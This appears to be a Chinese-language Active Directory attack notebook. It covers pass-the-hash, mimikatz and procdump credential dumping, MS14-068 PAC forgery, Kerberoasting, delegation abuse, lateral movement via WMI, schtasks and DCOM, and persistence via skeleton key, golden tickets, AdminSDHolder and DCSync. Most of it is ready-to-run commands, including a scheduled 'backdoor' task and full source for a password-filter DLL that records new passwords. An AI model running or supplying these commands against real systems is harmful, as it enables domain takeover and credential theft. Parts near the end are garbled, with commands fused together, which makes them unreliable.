如果找到了某个用户的ntlm hash,就可以拿这个ntlm hash当作凭证进行远程登陆了
其中若hash加密方式是 rc4 ,那么就是pass the hash
若加密方式是aes key,那么就是pass the key
注意NTLM和kerberos协议均存在PTH:
NTLM自然不用多说
kerberos协议也是基于用户的client hash开始一步步认证的,自然也会受PTH影响
那前提就是要获取hash值了
如果系统安装KB2871997补丁或者系统版本大于等于window server 2012时(服务器版本),大于等于win8.1(家庭版本)时(自带补丁),默认在lsass.exe这个进程中不会再将可逆的密文缓存在自己的进程内存中,所以我们默认是没办法通过读取这个进程然后逆向该密文来获取明文密码
虽然可以通过修改注册表来使LSASS强制存储明文密码
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
但是这种方式要求系统重启或者用户重新登录,在实战中操作起来成功率还是比较低的。
同时比较重要的一点是增加了Protected Users组,所属用户会被强制要求使用Kerberos认证,可以避免PTH攻击,以及用户注销后删除凭证(明文密码、LM/NTLM HASH、Kerberos的TGT票据等)
以及:Restricted Admin RDP模式的远程桌面客户端支持
自window vista之后没办法使用RID非500的本地管理员用户来进行Pass The Hash, 但是如果是域用户且该域用户属于本地Administrators组的成员也可以进行pass the hash。
很多人把这个原因归结于KB2871997补丁,实际上不然,这个事情的成因实际是UAC在捣乱。UAC是window Vista的新安全组件,具体是个啥这里也不细说了。
RID为500的账户和属于本地administrators组的域用户在通过网络远程链接时,默认就是高权限令牌。
而非RID500的本地账户则为低权限令牌,若想提升权限则需通过交互方式登录到要通过远程协助或远程桌面管理的计算机走UAC提权。
关于这个成因的一些系统配置选项:
这个项默认允许内置管理员账户(RID500账户)在所有应用下都以高权限令牌运行。这也是RID500账户能PTH的原因
以及此注册表项,可以关闭UAC的远程限制,即远程连接时UAC会失效,这样的话只要是administrators组的用户都能PTH辣。
其中该值为0则代表开启UAC的远程限制,设置该值为1时
使用meterpreter里的mimikatz模块
meterpreter>load mimikatz
meterpreter>mimikatz_command -f mimikatz的指令
privilege::debug 提权 samdump::hashes dump哈希
或者
meterpreter>msv/kerberos/widgst
2.使用meterpreter自带的hash获取模块
meterpreter>hashdump
meterpreter>run windows/gather/smart_hashdump (推荐使用这个)
3.向目标机上传mimikatz远程调用mimikatz.exe dump出hash,mimikatz需要免杀处理
意思就是既然我们获取到了shell,我们直接向目标机上传一个mimikatz然后在shell里使用它就行了. 使用方法为cmd窗口打开mimikatz.exe,进入mimikatz终端,然后输入mimikatz指令即可
4.上传procdump到目标机,获取到lsass.dmp文件后将其传回本地又mimikatz来dump哈希
procdump.exe是微软自带的程序,所以不会触发杀毒。所以可以通过它传回lsass.dmp本地提取hash
procdump64.exe -accepteula -ma lsass.exe lsass.dmp 执行该指令,获取到lsass.dmp
然后将其传回本地
通过mimikatz.exe分别执行以下命令
"sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
Procdump:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
mimikatz:https://github.com/gentilkiwi/mimikatz/releases
5.使用cobalt strike 获取hash
beacon>hashdump
beacon>mimikatz mimikatz指令
6.利用sam表
mimikatz在线读sam表中的hash
privilege::debug
token::elevate
lsadump::sam
将sam表下载到本地由mimikatz分析
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
在远端shell使用以上命令导出SYSTEM 和 SAM文件,并将其待会本地,由mimikatz分析
mimikatz运行
mimikatz # lsadump::sam /sam:SAM /system:SYSTEM
Domain : STU1
SysKey : fd4639f4e27c79683ae9fee56b44393f
Local SID : S-1-5-21-1982601180-2087634876-2293013296
SAMKey : 099d1915db1b0e5cf41f1f0908dc7e17
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0
RID : 000001f5 (501)
User : Guest
RID : 000003e8 (1000)
User : liukaifeng01
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0
hash 传递攻击 PTH (Pass the Hash)
1.msf里使用psexec模块
msf5 exploit(multi/handler) > use exploit/windows/smb/psexec //以root启动msf
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/psexec) > set lhsot 192.168.64.133
lhsot => 192.168.64.133
msf5 exploit(windows/smb/psexec) > set lhost 192.168.64.133
lhost => 192.168.64.133
msf5 exploit(windows/smb/psexec) > set lport 443
lport => 443
msf5 exploit(windows/smb/psexec) > set rhost 192.168.52.138
rhost => 192.168.52.138
msf5 exploit(windows/smb/psexec) > set SMBUser Administrator
SMBUser => Administrator
msf5 exploit(windows/smb/psexec) > set SMBPass 8a963371a63944419ec1adf687bb1be5 //一般选择NTLM HASH
SMBPass => 8a963371a63944419ec1adf687bb1be5
msf5 exploit(windows/smb/psexec) > run
2.使用mimikatz
我们在目标机里放置mimikatz.exe 然后执行以下命令
sekurlsa::pth /user:administrator /domain:"xxx.com" /ntlm:6542d35ed5ff6ae5e75b875068c5d3bc //自行修改
net use \\192.168.222.131\c$
在cobalt strike里找到域控,然后使用psexec模块,选择一个本地hash即可。
这个洞的危害很大,可以让任意域用户提权到域管。
适用版本: server 2000以上
补丁: kb3011780
PAC是kerberos协议里用来解决用户权限功能所设计出的东西。
在kerberos协议里面,一个用户用自己的hash拿到了TGT,接着凭借着TGT拿到了TGS,接着用TGS去访问服务。看似只要hash正确,用户就能到处访问服务,但是所有服务都可以给这个用户所访问吗?肯定是不行的,所以微软在kerberos为了实现用户权限分级,采用了PAC。
PAC被设计为存在于TGT里面。完整的kerberos权限验证流程如下。
1。用户凭借自己的hash加密时间戳并发送明文用户名到KDC,KDC认证用户成功后返回被krbtgt用户hash加密的TGT(内有ticekt包含着PAC),以及用户自身hash加密的login session key
2.用户凭借TGT票据向KDC发起指定服务的TGS_REQ。KDC用krbtgt hash解密,若解密成功则直接返回服务hash加密的TGS(这里并没考虑用户的权限,直接返回了TGS)
3.用户用TGS向服务发起请求,服务用自己的hash解密TGS后获得PAC,拿着PAC向KDC询问该用户是否有权限访问。KDC拿到PAC后再次解密,得到了PAC里的 用户的sid,以及所在的组,再判断用户是否有访问服务的权限(有些服务不会验证KDC,这样就会导致白银票据攻击)
PAC自身的结构
PAC在Ticket中的结构
又这个图可以知道,PAC只不过是ticket里Authorization DATA的一个分支。
而Authorization data的结构是这样的
AuthorizationData ::= SEQUENCE OF SEQUENCE {
ad-type [0] Int32,
ad-data [1] OCTET STRING }
ad-type中就有这么一个类型 AD-IF-RELEVANT 对应数字1,由上上图可知这是PAC的外壳。
若类型为 AD-IF-RELEVAN ,那么ad-data也是一个 AuthorizationData类型的结构体,也有ad-type 和ad-data.那么这个外壳ad-data的ad-type就是次外壳AD-WIN2K-PAC 了,与 AD-WIN2K-PAC 这个ad-type对应的ad-data就是一段连续空间。这段空间包含一个头部PACTYPE以及若干个PAC_INFO_BUFFER 。
PACTYPE包含的是 cBuffers,版本以及缓冲区 。
PAC_INFO_BUFFER是key-value型的。PAC_INFO_BUFFER的key有很多
0x00000002 | 凭证信息。PAC结构不应包含多个此类缓冲区。第二或后续凭证信息缓冲区在接收时必须被忽略。 |
0x00000006 | 服务器校验和。PAC结构必须包含一个这种类型的缓冲区。其他登录服务器校验和缓冲区必须被忽略。 |
0x00000007 | KDC(特权服务器)校验和(第2.8节)。PAC结构必须包含一个这种类型的缓冲区。附加的KDC校验和缓冲区必须被忽略。 |
0x0000000A | 客户名称和票证信息。PAC结构必须包含一个这种类型的缓冲区。附加的客户和票据信息缓冲区必须被忽略。 |
0x0000000B | 受约束的委派信息。PAC结构必须包含一个S4U2proxy请求的此类缓冲区,否则不包含。附加的受约束的委托信息缓冲区必须被忽略。 |
0x0000000C | 用户主体名称(UPN)和域名系统(DNS)信息。PAC结构不应包含多个这种类型的缓冲区。接收时必须忽略第二个或后续的UPN和DNS信息缓冲区。 |
0x0000000D | 客户索取信息。PAC结构不应包含多个这种类型的缓冲区。附加的客户要求信息缓冲区必须被忽略。 |
0x0000000E | 设备信息。PAC结构不应包含多个这种类型的缓冲区。附加的设备信息缓冲区必须被忽略。 |
0x0000000F | 设备声明信息。PAC结构不应包含多个这种类型的缓冲区。附加的设备声明信息缓冲区必须被忽略。 |
其中比较重要的是1,6和7
0x00000001 KERBVALIDATIONINFO 这个结构用于存储用户的身份信息.它是一个结构体,这个结构体是这样的(待会我们伪造PAC的时候主要就是伪造此处额 UserId 以及 PGROUP_MEMBERSHIP GroupIds )服务器解包PAC后提取用户的sid以及groupid,然后就把当前发包过来的用户权限当成sid,groupid的权限处理。
typedef struct _KERB_VALIDATION_INFO {
FILETIME LogonTime;
FILETIME LogoffTime;
FILETIME KickOffTime;
FILETIME PasswordLastSet;
FILETIME PasswordCanChange;
FILETIME PasswordMustChange;
RPC_UNICODE_STRING EffectiveName;
RPC_UNICODE_STRING FullName;
RPC_UNICODE_STRING LogonScript;
RPC_UNICODE_STRING ProfilePath;
RPC_UNICODE_STRING HomeDirectory;
RPC_UNICODE_STRING HomeDirectoryDrive;
USHORT LogonCount;
USHORT BadPasswordCount;
ULONG UserId; //用户的sid
ULONG PrimaryGroupId;
ULONG GroupCount;
[size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds;//用户所在的组,如果我们可以篡改的这个的话,添加一个500(域管组),那用户就是域管了。在ms14068 PAC签名被绕过,用户可以自己制作PAC的情况底下,pykek就是靠向这个地方写进域管组,成为使得改用户变成域管
ULONG UserFlags;
USER_SESSION_KEY UserSessionKey;
RPC_UNICODE_STRING LogonServer;
RPC_UNICODE_STRING LogonDomainName;
PISID LogonDomainId;
ULONG Reserved1[2];
ULONG UserAccountControl;
ULONG SubAuthStatus;
FILETIME LastSuccessfulILogon;
FILETIME LastFailedILogon;
ULONG FailedILogonCount;
ULONG Reserved3;
ULONG SidCount;
[size_is(SidCount)] PKERB_SID_AND_ATTRIBUTES ExtraSids;
PISID ResourceGroupDomainSid;
ULONG ResourceGroupCount;
[size_is(ResourceGroupCount)] PGROUP_MEMBERSHIP ResourceGroupIds;
} KERB_VALIDATION_INFO;
0x00000006和0x00000007 6是服务器校验和,由server密码加密。7是KDC校验和,又KDC密码加密。存在的目的就是防止PAC被篡改。
这个漏洞的产生主要是微软犯下了三个错误:
1.对校验和的算法实现不够细致,导致在校验和生成时可以不用管server和KDC的hash直接生成,而且生成出来的校验和还是合法的
2.PAC可以不用放在TGT中,即使是这样,KDC也能照常解析出TGT外的PAC
3.下面再说
那么这个漏洞大致的攻击原理是什么呢。
首先,我们在as_request的时候,把include-PAC标志设置为false,那么as_rep就不会在TGT中返回PAC了。然后这个时候我们自己伪造一个pac,在TGS_REQ时发过去就行了。伪造的pac修改USER SID&GROUP SID(在PAC的 0x00000001 KERBVALIDATIONINFO 结构)可以把我们的用户权限改到很高(域管),从而达到提权到域管的能力。
那么伪造PAC,我们就遇到了两个问题:
1.pac里有校验和,防止自己被篡改,我们得有server和KDC密码才能使校验和合法。
2.pac按理说应该在TGT里,但是TGT是被kbrtgt hash加密的,我们无法获取kbrtgt hash继而无法修改TGT内容,继而不能修改PAC。
来说说如何绕过PAC校验和问题。
我们刚刚说过,0x00000006和0x00000007 这两个结构的存在是为了防止PAC被篡改,这个校验和算法采用的是个叫checksum算法然后把kdc hash和服务hash当作key对PAC加密产生的值,从而防止PAC被篡改。但是checksum算法是有很多种的,md5也是checksum的分支之一,修改PAC后,我们只需设置加密算法为MD5并用MD5算法对0x00000001 KERBVALIDATIONINFO进行加密,将生成的值放入两个检验和即可,KDC拿到0x00000001 KERBVALIDATIONINFO,并且通过解析数据包获取当前加密算法为MD5,然后对其进行MD5加密,若加密结果与校验和一致,则认为PAC未被修改
再来说说如何绕过krbtgt hash加密TGT的问题。
因为我们在AS_REQ时设置include-PAC为false,TGT里就不会包含PAC了。那么我们在TGS_REQ时如何把PAC传递给KDC?只需要把PAC放入req-body即可。
这样KDC依旧会正常解析这个TGS_REQ包
注意TGS_REQ里的include-pac依旧是false。
然后KDC接收到PAC后会先解密TGT拿到authenticator里的key对PAC进行解密(TGS_REQ时加密PAC用的key是随机生成的,这个key会放在authenticator里),然后验证一下PAC的签名,若成功然后把解密得到的PAC采用server key和KDC key重新生成校验和,拼接成一个新的TGT返回给客户端。
上面这一段就是微软犯下的第三个错误,很不可思议,居然莫名其妙的返回了一个包含了PAC的TGT回来。总结来说就是构造了一个畸形的TGS_REQ,从TGS_RES得到了一个包含伪造PAC的TGT。
原理就是上面这些,然后我们用包含伪造PAC的TGT到处访问服务即可。
1.工具kekeo https://github.com/gentilkiwi/kekeo/releases/tag/2.2.0-20200718
具体方法为,在kekeo里先执行 kerberos::purge清空票据
然后再执行 exploit::ms14068 /user:xxx /password:xxx /domain:xxx /ptt
即可。
然后就dir \域控\c$ 试试,如果可以就说明提权成功了(不是每次都能成功的)
2.golenpac https://github.com/maaaaz/impacket-examples-windows/blob/master/goldenPac.exe
这个工具好用,
执行类似上述命令,就能返回一个域控的 system权限的cmd shell回来,感觉蛮好用
另外在最后指定域控机器时,可以指定域控以外的机器并获取他们的本地system权限用户.
但返回的似乎不是域控?
Kerberoast攻击原理: 攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码
如何得到域中的所有SPN?
1.setspn
很简单,只需执行
setspn -q */*
即可
2.kerberoast工具集的GetUserSpns powershell脚本
如何得到hash?
有如下方法
1.Rubeus.exe
这个工具github上就有,但是clone下来后需要自己编译成exe.
然后执行 Rubeus.exe kerberoast指令即可
2.mimikatz
mimikatz真的神器。
通过命令 kerberos::ask /target:你所指定的SPN,
即可通过认证的方式得到一个ST。
然后我们在kerberos::list里可以看到我们想要的ST
3.powershell
越来越发现powershell在域渗透中的重要性了
输入以下指令,即可完成HASH获取
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MySQL/win7.xie.com:3306/MySQL"
然后mimikatz导出即可
获得了ST票据,但怎么导出?
1.mimikatz
导出所有票据
可以发现生成了kirbi文件。这就是我们所需要的hash了
2.Empire Powershell 框架
github:https://github.com/EmpireProject/Empire
我们通过这个框架可以导出hashcat格式的hash.
Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat
如何破解HASH?
1.HASHCAT
这个工具需要让hash格式为hashcat模式才能进行破解。kribi文件不能放入hashcat进行破解.
hashcat -m 13110 pass.txt hash.txt
2.kerberoast中的tgsrepcrack.py
支持kribi文件破解
python3 tgsrepcrack.py pass.txt xxx.kribi
How to use Kerberoast
既然我们都把ST的加密hash都破解了,那么我们就可以随便改ST中的票据内容了..\ 这里使用的是kerberoast工具集里的kerberoast.py
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
## 将票据权限改为administrator
kerberos::ptt PENTESTLAB.kirbi #将票据注入到内存
AS_REP Roast
较Kerberoast来说,比较鸡肋。
它的原理是在不开启kerberos预身份验证的前提下,获得其他用户的AS_RES,并破解加密session key 的 client hash。
1.Rubeus
Rubeus.exe asreproast
然后就会搜索域中不需要kerberos预验证的用户,并获得ASREP。
2.Empire框架与 ASREPRoast.ps1
使用Empire框架下的powerview.ps1查找域中设置了 “不需要kerberos预身份验证” 的用户
Import-Module .\powerview.ps1
Get-DomainUser -PreauthNotRequired
然后用 ASREPRoast.ps1 :https://github.com/HarmJ0y/ASREPRoast 获取指定用户的AS-REPhash
Import-Module ASREPRoast.ps1
Get-ASREPHash -USER xx -Domain xx |Out-file -Encoding ASCII hash.txt
就会生成一个hash数据文件了
将生成的HASH保存起来,并在下图处加入$23
然后丢给hashcat 跑
hashcat -m 18200 hash.txt pass.txt
注意这里的pass.txt是自己的明文字典…之前我还一直以为是爆破出来的结果.
原来是一个一个的用明文字典去爆破。
域委派是一种域内主机的行为,使某个服务可以以访问的用户的身份去访问另外一个服务。
为什么需要域委派呢,比如现在有web服务器和文件服务器,当用户A访问web服务器去请求某个资源时,web服务器上本身并没有该资源,所以web服务器就会从文件服务器上调用这个资源,其中发生的过程若以域委派的形式进行,那么就是:
用户A访问web服务器,服务器再以用户A的身份去访问文件服务器。
发生域委派的服务一般为机器账户和服务账户。
域委派分为三种:非约束性委派,约束性委派,基于资源的约束性委派
非约束性委派的原理是:用户想访问服务A,于是向KDC提交认证,KDC发现A是非约束性委派,于是会把TGT放在ST中一并给用户。然后用户用这个ST去访问服务A,服务A就相当于获得了用户的TGT,把TGT放入lsass进程,然后就可以拿着用户的TGT以用户的身份去访问所有用户权限能够访问的服务了。
非约束性委派的启用:
为某账户启用 信任此计算机来委派任何服务 即开启非约束性委派。
开启后在该用户的 ACL属性会多出一个 flag : WORKSTATION_TRUSTED_FOR_DELEGATION (图截不完,反正这个flag就在箭头所指处的后面)
非约束委派的设置需要SeEnableDelegation
特权,该特权通常仅授予域管理员
这里说个题外话,域控主机默认是非约束性委派
非约束性委派是很不安全的(因为控制了开启非约束性委派的机器,就相当于获得了上面的所有其他用户的TGT),所以更安全的约束性委派诞生了。
约束性委派多了两个委派协议,S4U2SELF S4U2PROXY,并且限制了被设置委派的服务的访问范围:仅能被委派到被指定的服务。
约束性委派的大致流程:
用户访问开启约束性委派的服务A
(情况一:无S4U2SELF参与)首先需要经过KDC认证,KDC发现服务A开启了约束性委派,于是在TGS_RES返回给用户ST1(可转发ST),用户拿着ST1访问服务A,服务A先与KDC进行身份验证获得一个有效TGT,然后拿着ST1经过S4U2PROXY协议向KDC发起TGS_REQ,KDC返回ST2(用户身份的ST),然后服务A拿着ST2访问指定服务。
(情况二:有S4U2SELF参与)用户通过其他方式(如NTLM认证,表单认证等)获取了服务A的信任,但是此时服务A并没有来自用户的ST1,按情况一中的流程,服务A就不能完成委派。所以这个时候服务A会以自己的身份向KDC发起申请获取一个可转发TGT(获取KDC信任),然后用这个TGT发起TGS_REQ获得指定用户的ST1,既然获取了ST1,就继续情况一中的流程即可了。
也就是说S4U2SELF是用户通过非kerberos协议完成认证的情况下,自动向KDC获取ST1的一个协议。
而S4U2PROXY则是将ST1发给KDC,使其变现为成自己可用的 ST2 的一个协议。
启用方法:
其中被添加的服务则是允许被委派到的服务
若启用的是 仅使用kerberos,那么useraccountcontrol属性仅有 workstation_trust_account.
若启用任何身份验证协议,就会有 TrustedToAuthenticationForDelegation
Windows Server 2012中引入了基于资源的约束性委派。只能在运行Windows Server 2012或Windows Server 2012 R2及以上的域控制器上配置
基于资源的约束性委派,不需要域管理员前来设置,而把设置委派的权限交给了自身。
其实就是可以摆脱域控来主动设置自己可以被哪些账户委派访问。
非约束性委派有巨大的安全问题,上面我们说过,非约束性委派的实质就是把用户的TGT存入lassa进程,从而模拟用户身份进行各种委派访问,所以我们只需控制非约束性委派攻击的机器,然后dump出所有的票据,就相当于获得了所有经过该服务进行约束性委派的用户的身份了。
Get-NetUser -Unconstrained -Domain de1ay.com
Get-domaincomputer -unconstrained -domain const.com
privilege::debug
提权sekurlsa::tickets
查看本机所有票据kerberos::ptt 票据文件名 将票据注入内存
(MS-RPRN)
中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)
方法强制任何运行了Spooler
服务的计算机以通过Kerberos
或NTLM
对攻击者选择的目标进行身份验证。配合非约束性委派攻击,简直爆炸,可以主动拿到其他用户的TGT。-Rubeus.exe monitor /interval:1 /filteruser:xx
SpoolSample.exe XX win7
,让指定机器访问WIN7进行身份验证tgt::ask /user:xx /domain:xx /password:xx /ticket:test.kirbi这里的/password可以改成/NTLM:xx
获得TGT转发票据
tgs::s4u /tgt:file_name /user:administrator /service:cifs/DC
tgt处改为刚刚得到的TGT文件的名字,这个命令执行后得到administrator身份的 ST2
RestrictedKrbHost/domain
和HOST/domain
这两个SPNGet-DomainUser -Identity username -Properties objectsid
来获取当前用户SIDGet-DomainObjectAcl -Identity 主机名 | ?{$_.SecurityIdentifier -match "刚刚得到的SID"}
查看当前用户对某台主机是否有写权限。Import-Module .\Powermad.ps1New-MachineAccount -MachineAccount hacksystem -Password $(ConvertTo-SecureString "hack" -AsPlainText -Force)
msDS-AllowedToActOnBehalfOfOtherIdentity
属性的值 ,这个操作我们用powerview实现。$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3298638106-3321833000-1571791979-1112)"
#这儿的sid是我们创建的#机器用户#evilsystem的sid
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
get-domiancomputer hacksystem
Get-DomainComputer WIN7 -Properties msds-allowedtoactonbehalfofotheridentity
查看委派是否设置成功Set-DomainObject win7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
此命令可以清除 msds-allowedtoactonbehalfofotheridentity属性的值Rubeus.exe hash /user:xxx /password:xxx /domain:xxx
Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt
写入票据Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt
继续实验administrator,发现确实是这样rubeus.exe tgssub /ticket:xxx /altservice:cifs/test1 /ptt
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d *
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d *
tsssp::server 开启服务端
tsssp::client /target:... 开启客户端,这里的target随便填
客户端从远程计算机请求实例化由CLSID表示的对象。如果客户端使用ProgID则先将其本地解析为CLSID。
远程计算机检查是否存在由该CLSID所关联的AppID,并验证客户端的权限。
DCOMLaunch服务将创建所请求的类的实例,通常是通过运行LocalServer32子项的可执行文件,或者通过创建DllHost进程来承载InProcServer32子项引用的dll。
客户端应用程序和服务器进程间建立通信,客户端便可以访问新创建的对象。
ExecuteShellCommand([命令][目录][叁数][窗口状态])
命令
一个值,指定要执行的命令。可以指定标准路径。Command中包含的所有环境变量(例如“%windir%”)都将被扩展。
目录
一个值,用于指定工作目录的名称。Directory中包含的所有环境变量都将被扩展。如果“目录”为空字符串,则将当前目录用作工作目录。
参数
一个指定Command要使用的参数(如果有)的值;参数必须用空格分隔。例如,将参数指定为“ Param1 Param2”会导致Command接收Param1和Param2作为参数。如果要求单个参数用双引号引起来,请使用适合您的编程语言的技术。例如,在Microsoft Visual Basic中,将参数指定为“ Param1”“这是Param2”“”导致命令接收到参数1和“这是Param2”。
窗口状态
一个指定窗口状态的值。该值可以是以下字符串值之一,也可以是空字符串。如果为空字符串,则默认为“已恢复”。
“Maximized”
该命令在最大化的窗口中执行。
“Minimized”
该命令在最小化的窗口中执行。
“Restored”
该命令在已恢复或正常的窗口中执行。注意:这里会弹个黑框框
返回值
此方法不返回值。
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application")).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application" ,“远程ip”)).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")
net use \\ip\ipc$ "password" /user:username
dir \\192.168.183.130\c$ 列出C盘
copy C:\Users\douser\Desktop\whoami.txt \\192.168.183.130\c$ 上传文件
tasklist /S 192.168.183.130 /U administrator /P liu78963 列出某IP上的进程信息,/U指定哪个用户执行该命令,/p指定该用户密码
net use \\IP /del /y 删除链接
net use 查看已建立的ipc链接
at \\192.168.183.130 17:05:00 cmd.exe /c "<命令>"
at \\192.168.183.130 17:05:00 powershell.exe -c "<命令>"
at \\192.168.183.130 1 /delete //1为任务的ID
在目标主机上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的shell.exe,启动权限为system。
schtasks /create /s 192.168.183.130 /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
但也有些时候,由于当前权限或组策略设置等原因,该schtasks方法远程创建计划任务可能会报错拒绝访问,遇到这种情况,我们可以加上/u和/p参数分别设置高权限用户名和密码
schtasks /create /s 192.168.183.130 /u username /p password /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
另外,在我们创建好计划任务后,可以通过下列指令立即让计划任务执行(如果拒绝访问的话就加上/u /p参数)
schtasks /run /s 192.168.183.130 /i /tn backdoor // i:忽略任何限制立即运行任务
计划任务执行后需要清理痕迹
schtasks /delete /s 192.168.183.130 /tn "backdoor" /f
sc \\[主机名/IP] create [servicename] binpath= "[path]" #创建服务,其中binpath可以是某个exe文件的路径,也可以是一段指令。当为路径时,服务启动时会自动执行该exe文件,当为指令时,服务启动时会自动执行该指令
sc \\[host] start [servicename] 启动某个服务
sc \\[host] delete [servicename] #删除服务
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "command"
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:[email protected]#$% whoami
winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:[email protected]#$% whoami
strComputer = "."
Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
objUser.SetPassword "[email protected]#"
objUser.SetInfo
cpass.vbs
,这个脚本的作用就是修改本地管理员账户的密码为[email protected]#
for /r \\dc/sysvol %i in (*.vbs) do @echo %i
for /r \\dc/sysvol %i in (*.bat) do @echo %i
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
secedit /export /cfg gp.inf /quiet 将组策略导出为文件
在该文件里将PasswordComplexity项值修改为1
然后用secedit /configure /db gp.sdb /cfg gp.inf /quiet 将其导入数据库
刷新组策略:gpupdate/force
重启后生效
#include<Windows.h>
#include<NTSecAPI.h>
#include <fstream>
extern "C" __declspec(dllexport) BOOLEAN __stdcall InitializeChangeNotify() {
OutputDebugString(L"InitializeChangeNotify");
return TRUE;
}
extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordFilter(
PUNICODE_STRING AccountName,
PUNICODE_STRING FullName,
PUNICODE_STRING Password,
BOOLEAN SetOperation)
{
OutputDebugString(L"PasswordFilter");
return TRUE;
}
extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordChangeNotify(
PUNICODE_STRING UserName,
ULONG RelativeId,
PUNICODE_STRING NewPassword)
{
FILE *pFile;
fopen_s(&pFile, "C:\\logFile.txt", "a+");
fprintf(pFile, "%ws:%ws", UserName->Buffer, NewPassword->Buffer);
return 0;
}
REG ADD "HKLMSYSTEMCurrentControlSetControlLsa" /v "Notification Packages" /t REG_MULTI_SZ /d "evildll" /f
mimikatz# privilege::debug
mimikatz# misc::skeleton
mimikatz# privilege::debug
mimiaktz# misc::memssp
privilege::debug
sid::patch
sid::add /sam:const27 /new:administrator 将administrator的SID添加到const27的sid history属性
Import-Module activedirectory
Get-ADUser const27 -Properties sidhistory
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
#提权
privilege::debug
#生成黄金票据并导入
kerberos::golden /user:administrator /domain:const.com /sid:当前用户sid去掉最后一个数据 /krbtgt:krbtgt的hash /ptt
Get-NetUser -AdminCount
即可获得受保护用户Get-NetGroup -AdminCount
即可获得受保护组Add-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=CONST,DC=COM" -PrincipalIdentity xx -Verbose -Rights ALL
给AdminSDHoloder添加一条ACL,让xx用户获得完全控制权
vssadmin create shadow /for=c:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\ntds.dit
vssadmin delete shadows /for=c: /quiet
ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {bdccff3c-810c-4f78-9d80-c6729910e83a}" quit quit
copy c:\$SNAP_202107291703_VOLUMEC$\Windows\NTDS\ntds.dit c:\ntds.dit
ntdsutil snapshot "mount {bdccff3c-810c-4f78-9d80-c6729910e83a}" "delete {bdccff3c-810c-4f78-9d80-c6729910e83a}" quit quit
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
python .\secretsdump.py -system .\system.hive -ntds .\ntds.dit local
python .\secretsdump.py -system .\system.hive -ntds .\ntds.dit local
#给域用户hack添加以上三条ACE
Add-DomainObjectAcl -TargetIdentity "DC=xie,DC=com" -PrincipalIdentity hack -Rights DCSync -Verbose
#给域用户hack删除以上三条ACE
Remove-DomainObjectAcl -TargetIdentity "DC=xie,DC=com" -PrincipalIdentity hack -Rights DCSync -Verbose
Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync -DumpForest | ft -wrap -autosize // 导出域内所有用户的hash
